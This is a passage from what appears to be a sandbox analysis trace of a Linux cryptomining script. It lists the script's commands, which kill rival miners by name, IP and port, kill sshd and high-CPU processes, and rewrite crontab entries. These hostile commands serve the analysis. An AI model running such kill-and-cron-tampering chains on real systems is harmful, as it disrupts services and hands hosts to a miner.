  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1450
- /bin/grep
  grep exe
  2⤵
  PID:1453
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1452
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1455
- /bin/grep
  grep exe
  2⤵
  PID:1458
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1457
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1460
- /bin/grep
  grep /dot
  2⤵
  PID:1462
- /bin/grep
  grep -v grep
  2⤵
  PID:1463
- /bin/ps
  ps aux
  2⤵
  PID:1461
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1464
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1465
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads runtime system information
  PID:1466
- /bin/grep
  grep -v grep
  2⤵
  PID:1469
- /bin/grep
  grep tracepath
  2⤵
  PID:1468
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1467
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1470
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1471
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1472
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1476
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1477
- /bin/grep
  grep -v grep
  2⤵
  PID:1475
- /bin/grep
  grep ./ll1
  2⤵
  PID:1474
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1473
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1479
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1478
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  PID:1481
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1480
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1485
- /bin/grep
  grep -v grep
  2⤵
  PID:1484
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1483
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1482
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1486
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1491
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1490
- /bin/grep
  grep -v grep
  2⤵
  PID:1489
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1488
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1487
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1495
- /bin/grep
  grep -v grep
  2⤵
  PID:1494
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1496
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1493
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1492
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1500
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1501
- /bin/grep
  grep -v grep
  2⤵
  PID:1499
- /bin/grep
  grep perfctl
  2⤵
  PID:1498
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1497
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1504
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1503
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1505
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1506
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1510
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1511
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1509
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1508
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1515
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1514
- /bin/grep
  grep -v -
  2⤵
  PID:1516
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1517
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1513
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1523
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1519
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1521
- /bin/grep
  grep -v -
  2⤵
  PID:1522
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1520
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1526
- /bin/grep
  grep -v -
  2⤵
  PID:1528
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1525
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1529
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1527
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1531
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1533
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1532
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1535
- /bin/grep
  grep -v -
  2⤵
  PID:1534
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:1536
- /bin/grep
  grep -v grep
  2⤵
  PID:1539
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1540
- /bin/grep
  grep agetty
  2⤵
  PID:1538
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1541
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1537
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  PID:1542
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1543
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1545
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1544
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1548
- /bin/sed
  sed /base64/d
  2⤵
  PID:1547
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1546
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1551
- /bin/sed
  sed /python/d
  2⤵
  PID:1550
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1549
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1554
- /bin/sed
  sed /shm/d
  2⤵
  PID:1553
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1552
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1557
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1556
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1555
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1560
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1559
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1558
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1563
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1562
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1561
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1566
- /bin/sed
  sed /linux/d
  2⤵
  PID:1565
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1564
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1569
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1568
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1567
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1572
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1571
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1570
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1575
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1574
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1573
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1577
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1576
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1578
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1581
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1580
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1579
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1582
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads runtime system information
  PID:1583
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  PID:1585
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads runtime system information
  PID:1586
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  PID:1587
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  PID:1588
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  PID:1589
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  - Reads runtime system information
  PID:1590
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1593
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1594
- /bin/grep
  grep -v -
  2⤵
  PID:1595
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1596
- /bin/grep
  grep :1414
  2⤵
  PID:1592
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1600
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1599
- /bin/grep
  grep -v -
  2⤵
  PID:1601
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1598
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1602
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1606
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1605
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1608
- /bin/grep
  grep -v -
  2⤵
  PID:1607
- /bin/grep
  grep :143
  2⤵
  PID:1604
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1612
- /bin/grep
  grep -v -
  2⤵
  PID:1613
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1614
- /bin/grep
  grep :2222
  2⤵
  PID:1610
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1611
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1618
- /bin/grep
  grep -v -
  2⤵
  PID:1619
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1617
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1620
- /bin/grep
  grep :3333
  2⤵
  PID:1616
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1624
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1623
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1626
- /bin/grep
  grep -v -
  2⤵
  PID:1625
- /bin/grep
  grep :3389
  2⤵
  PID:1622
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1630
- /bin/grep
  grep -v -
  2⤵
  PID:1631
- /bin/grep
  grep :4444
  2⤵
  PID:1628
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1632
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1629
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1636
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1635
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1638
- /bin/grep
  grep :5555
  2⤵
  PID:1634
- /bin/grep
  grep -v -
  2⤵
  PID:1637
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1642
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1641
- /bin/grep
  grep -v -
  2⤵
  PID:1643
- /bin/grep
  grep :6666
  2⤵
  PID:1640
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1644
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1648
- /bin/grep
  grep -v -
  2⤵
  PID:1649
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1650
- /bin/grep
  grep :6665
  2⤵
  PID:1646
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1647
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1654
- /bin/grep
  grep -v -
  2⤵
  PID:1655
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1653
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1656
- /bin/grep
  grep :6667
  2⤵
  PID:1652
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1660
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1659
- /bin/grep
  grep -v -
  2⤵
  PID:1661
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1662
- /bin/grep
  grep :7777
  2⤵
  PID:1658
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1666
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1665
- /bin/grep
  grep -v -
  2⤵
  PID:1667
- /bin/grep
  grep :8444
  2⤵
  PID:1664
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1668
- /bin/grep
  grep -v -
  2⤵
  PID:1673
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1674
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1672
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1671
- /bin/grep
  grep :3347
  2⤵
  PID:1670
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1678
- /bin/grep
  grep -v -
  2⤵
  PID:1679
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1677
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1680
- /bin/grep
  grep :14444
  2⤵
  PID:1676
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1684
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1686
- /bin/grep
  grep :14433
  2⤵
  PID:1682
- /bin/grep
  grep -v -
  2⤵
  PID:1685
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1683
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1690
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1689
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1692
- /bin/grep
  grep :13531
  2⤵
  PID:1688
- /bin/grep
  grep -v -
  2⤵
  PID:1691
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1693
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1695
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1694
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Attempts to change immutable files
  PID:1696
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1698
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1697
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  PID:1699
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1701
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1700
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  PID:1702
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1704
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1703
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  PID:1705
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1707
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1706
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Attempts to change immutable files
  PID:1708
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1710
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1709
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1711
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1712
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1713
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  PID:1714
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1716
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1715
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  - Attempts to change immutable files
  PID:1717
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1719
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1718
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1720
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1722
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1721
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  PID:1723
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1725
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1724
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  - Attempts to change immutable files
  PID:1726
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1728
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1727
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads runtime system information
  PID:1729
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  PID:1730
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  PID:1731
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads runtime system information
  PID:1732
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1733
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1734
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  PID:1735
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  PID:1736
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  PID:1737
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  PID:1738
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  PID:1739
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads runtime system information
  PID:1740
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  PID:1741
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1742
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  PID:1743
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  PID:1744
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  PID:1745
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads runtime system information
  PID:1746
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  PID:1747
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  PID:1748
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  PID:1749
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  PID:1750
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:1751
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1752
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  PID:1753
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1754
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads runtime system information
  PID:1755
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  PID:1756
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads runtime system information
  PID:1757
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:1758
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:1759
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  PID:1760
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  PID:1761
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1765
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1766
- /bin/grep
  grep -v grep
  2⤵
  PID:1764
- /bin/grep
  grep ./udp
  2⤵
  PID:1763
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1762
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1771
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1770
- /bin/grep
  grep -v grep
  2⤵
  PID:1769
- /bin/grep
  grep ./oka
  2⤵
  PID:1768
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1767
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1776
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1775
- /bin/grep
  grep -v grep
  2⤵
  PID:1774
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1773
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1772
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1780
- /bin/grep
  grep -v bin
  2⤵
  PID:1779
- /bin/grep
  grep -v "("
  2⤵
  PID:1781
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1778
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1782
- /bin/grep
  grep -v postgres
  2⤵
  PID:1784
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:1777
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1783
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1785
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1786
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1787
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1788
- /bin/grep
  grep -v "("
  2⤵
  PID:1793
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1792
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1794
- /bin/grep
  grep -v bin
  2⤵
  PID:1791
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1795
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1790
- /bin/grep
  grep -v postgres
  2⤵
  PID:1796
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1797
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1789
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1798
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1799
- /bin/grep
  grep -v bin
  2⤵
  PID:1802
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1803
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1801
- /bin/grep
  grep -v "("
  2⤵
  PID:1804
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1806
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1800
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1805
- /bin/grep
  grep -v postgres
  2⤵
  PID:1807
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1808
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1809
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1810
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1815
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1813
- /bin/grep
  grep -v grep
  2⤵
  PID:1812
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1814
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1820
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1819
- /bin/grep
  grep -v grep
  2⤵
  PID:1818
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1817
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1816
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1824
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1825
- /bin/grep
  grep -v grep
  2⤵
  PID:1823
- /bin/grep
  grep ./crun
  2⤵
  PID:1822
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1821
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1830
- /bin/grep
  grep -v grep
  2⤵
  PID:1828
- /bin/grep
  grep -vw kdevtmpfsi
  2⤵
  PID:1827
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1829
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1826
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1834
- /bin/grep
  grep :3333
  2⤵
  PID:1833
- /usr/bin/xargs
